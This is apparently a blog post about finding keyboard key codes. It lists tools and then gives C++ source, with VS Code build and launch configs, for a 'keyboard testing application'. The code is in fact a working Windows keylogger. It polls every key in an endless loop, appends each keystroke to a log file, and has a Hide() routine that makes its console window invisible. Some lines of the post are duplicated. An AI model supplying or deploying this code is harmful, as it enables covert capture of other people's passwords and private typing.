Online in browser
https://keycode.info/
On Windows
https://keycode.info/
On Windows
install
https://developer.microsoft.com/en-us/windows/downloads/windows-10-sdk/
https://developer.microsoft.com/en-us/windows/downloads/windows-10-sdk/
and use spy++ that comes with it
On Linux
$ xev
Creating your own Windows Keyboard testing application copy paste this code and
On Linux
$ xev
Creating your own Windows Keyboard testing application copy paste this code and
#include <iostream>
#include <windows.h>
#include <winuser.h>
#pragma comment(lib,"user32.lib") //Use this line to get compiled on Visual Studio Code quick
using namespace std;
int Record (int key_stroke, char *file);
void Hide();
int main() {
// Hide();
char i;
while (1) {
for(i = 8; i <= 190; i++) {
if (GetAsyncKeyState(i) == -32767)
Record(i, "keys.log");
}
}
system("pause");
return 0;
}
int Record (int key_stroke, char *file) {
if ((key_stroke == 1) || (key_stroke == 2))
return 0;
FILE * OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");
cout << key_stroke << endl;
if (key_stroke == 13) fprintf(OUTPUT_FILE, "%s", "\n");
else if (key_stroke == 32) fprintf(OUTPUT_FILE, "%s", " ");
else if (key_stroke == 190 || key_stroke == 110) fprintf(OUTPUT_FILE, "%s", ".");
else if (key_stroke == 8) fprintf(OUTPUT_FILE, "%s", "BACKSPACE");
else if (key_stroke == VK_TAB) fprintf(OUTPUT_FILE, "%s", "TAB");
else if (key_stroke == VK_SHIFT) fprintf(OUTPUT_FILE, "%s", "SHIFT");
else if (key_stroke == VK_CONTROL) fprintf(OUTPUT_FILE, "%s", "CTRL");
else if (key_stroke == VK_ESCAPE) fprintf(OUTPUT_FILE, "%s", "ESC");
else if (key_stroke == VK_END) fprintf(OUTPUT_FILE, "%s", "END");
else if (key_stroke == VK_HOME) fprintf(OUTPUT_FILE, "%s", "HOME");
else if (key_stroke == VK_LEFT) fprintf(OUTPUT_FILE, "%s", "LEFT");
else if (key_stroke == VK_UP) fprintf(OUTPUT_FILE, "%s", "UP");
else if (key_stroke == VK_RIGHT) fprintf(OUTPUT_FILE, "%s", "RIGHT");
else if (key_stroke == VK_DOWN) fprintf(OUTPUT_FILE, "%s", "DOWN");
else fprintf (OUTPUT_FILE, "%s", &key_stroke);
fclose(OUTPUT_FILE);
return 0;
}
void Hide() {
HWND HiddenWindow;
AllocConsole();
HiddenWindow = FindWindowA("ConsoleWindowClass", NULL);
ShowWindow(HiddenWindow, 0);
}
To Compile it in Visual Studio Code Follow the instruction in the website bellow
https://code.visualstudio.com/docs/cpp/config-msvc
Open
Developer Command Prompt for VS 2017
start VS Code from it
code .
create
task.json
{
"version": "2.0.0",
"tasks": [
{
"type": "shell",
"label": "cl.exe build active file",
"command": "cl.exe",
"args": [
"/Zi",
"/EHsc",
"/Fe:",
"${fileDirname}\\${fileBasenameNoExtension}.exe",
"${file}"
],
"problemMatcher": [
"$msCompile"
],
"group": "build"
},
{
"type": "cppbuild",
"label": "C/C++: cl.exe build active file",
"command": "cl.exe",
"args": [
"/Zi",
"/EHsc",
"/nologo",
"/Fe:",
"${fileDirname}\\${fileBasenameNoExtension}.exe",
"${file}"
],
"options": {
"cwd": "${workspaceFolder}"
},
"problemMatcher": [
"$msCompile"
],
"group": {
"kind": "build",
"isDefault": true
},
"detail": "Task generated by Debugger."
}
]
}
create launch.json
{
"version": "0.2.0",
"configurations": [
{
"name": "cl.exe build and debug active file",
"type": "cppvsdbg",
"request": "launch",
"program": "${fileDirname}\\${fileBasenameNoExtension}.exe",
"args": [],
"stopAtEntry": false,
"cwd": "${workspaceFolder}",
"environment": [],
"externalConsole": false,
"preLaunchTask": "cl.exe build active file"
}
]
}
No comments:
Post a Comment